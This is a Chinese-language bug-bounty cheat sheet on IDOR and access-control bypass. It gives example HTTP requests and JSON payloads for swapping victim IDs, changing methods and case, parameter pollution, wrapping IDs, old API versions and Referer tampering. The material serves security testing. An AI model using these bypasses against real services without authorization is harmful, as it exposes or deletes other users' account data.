基本步骤:


1.  如果可能,创建两个帐户,否则首先枚举用户。

2.  检查端点是私有的还是公共的,是否包含任何类型的id参数。

3.  尝试将参数值更改为其他用户id,看看是否对他们的帐户有任何影响。

4.  完成! !

寻找可能存在漏洞的功能点

注册

密码找回

图片简介

帐户删除

帐户信息

查看、删除和创建 api_key

允许阅读任何评论

更改价格

将硬币从美元换成乌阿罗

如果 ID 使用 md5、base64 等编码,请尝试解码该 ID


GET /GetUser/dmljdGltQG1haWwuY29t

[...]

[ ] 更改 HTTP 请求方法


GET  /users/delete/victim_id ->403

POST  /users/delete/victim_id ->200

可以fuzz以下请求方法

GET
HEAD
POST
PUT
CONNECT
COPY
DELETE
LABEL
LOCK
MOVE
OPTIONS
PATCH
POUET
TRACE
TRACK
UNCHECKOUT
UPDATE
VERSION-CONTROL

尝试替换参数名称


原始的如下:

GET  /api/albums?album_id=<album  id>

  

尝试修改成这样的:

GET  /api/albums?account_id=<account id>

  

提示:有一个名为Paramalyzer的Burp扩展,它将通过记住您传递给主机的所有参数来帮助实现这一点。

路径遍历


POST  /users/delete/victim_id ->403

POST  /users/delete/my_id/..victim_id ->200

更改请求内容类型


Content-Type:  application/xml ->

Content-Type:  application/json

将非数字 id 替换为数字 id


GET  /file?id=90djbkdbkdbd29dd

GET  /file?id=302

大小写绕过


GET  /admin/profile ->401

GET  /Admin/profile ->200

GET  /ADMIN/profile ->200

GET  /aDmin/profile ->200

GET  /adMin/profile ->200

GET  /admIn/profile ->200

GET  /admiN/profile ->200

发送通配符*而不是 ID


GET  /api/users/user_id ->

GET  /api/users/*

永远不要忽略编码/hash ID


对于hash ID,创建多个帐户并了解应用程序用户分配ID的模式

Google Dorking/公共表格

搜索具有搜索引擎可能已经索引的ID的所有端点

暴力破解隐藏的HTTP参数


可以使用如下工具:
arjun  ,  paramminer

绕过对象级授权 如果默认情况下不存在,则将参数添加到端点


GET  /api_v1/messages ->200

GET  /api_v1/messages?user_id=victim_uuid ->200

HTTP 参数污染 为同一参数赋予多个值


GET  /api_v1/messages?user_id=attacker_id&user_id=victim_id

GET  /api_v1/messages?user_id=victim_id&user_id=attacker_id

GET  users=01

GET  users=01&users=02

更改文件类型


GET  /user_data/2341 -> 401

GET  /user_data/2341.json -> 200

GET  /user_data/2341.xml -> 200

GET  /user_data/2341.config -> 200

GET  /user_data/2341.txt -> 200

json参数污染


{"userid":1234,"userid":2542}

在body中用数组包装 ID


{"userid":123} ->401

{"userid":[123]} ->200

用 json 对象包装 id


{"userid":123} ->401

{"userid":{"userid":123}} ->200

测试 旧的API 版本


GET  /v3/users_data/1234 ->401

GET  /v1/users_data/1234 ->200

如果网站使用 graphql,请尝试使用 graphql 查找 IDOR!


GET  /graphql

[...]


GET /graphql.php?query=

[...]

将Referer或其他的请求头参数修改为一致

【403】
GET /users/02
Referer: example.com/users/01

【200】
GET /users/02
Referer: example.com/users/02

试试如下的GUIDs

00000000-0000-0000-0000-000000000000
11111111-1111-1111-1111-111111111111
22222222-2222-2222-2222-222222222222
33333333-3333-3333-3333-333333333333
44444444-4444-4444-4444-444444444444
55555555-5555-5555-5555-555555555555
66666666-6666-6666-6666-666666666666
77777777-7777-7777-7777-777777777777
88888888-8888-8888-8888-888888888888
99999999-9999-9999-9999-999999999999